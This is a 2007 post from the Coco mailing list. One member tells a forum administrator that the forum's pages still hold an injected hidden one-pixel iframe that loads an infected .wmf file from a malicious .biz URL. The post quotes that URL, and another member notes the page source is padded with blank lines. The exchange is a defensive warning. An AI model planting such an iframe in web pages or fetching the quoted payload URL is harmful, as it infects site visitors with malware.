[Coco] Forums coming back
Robert Gault
robert.gault at worldnet.att.net
Fri Feb 9 09:00:17 EST 2007
Torsten Dittel wrote:
> Hi Roger,
>
> you still have the iframe tag
>
> <src="http://ycsmmiqtyo.biz/dl/adv534.php"
> width=1 height=1>
>
> of iframedollars.biz in your forum's code which will open the file
>
> ycsmmiqtyo.biz / dl / adv534.php
>
> (e.g. "http://" translates to "http://".
> I added some spaces to prevent this from being executed by accident :-))
>
> and load the infected .wmf
>
>
When I look at the source for the main Forums page, it is chock full of
spaces and or line feeds. I see about 10 or more blank lines for every
real line. Never seen anything like this elsewhere.
More information about the Coco
mailing list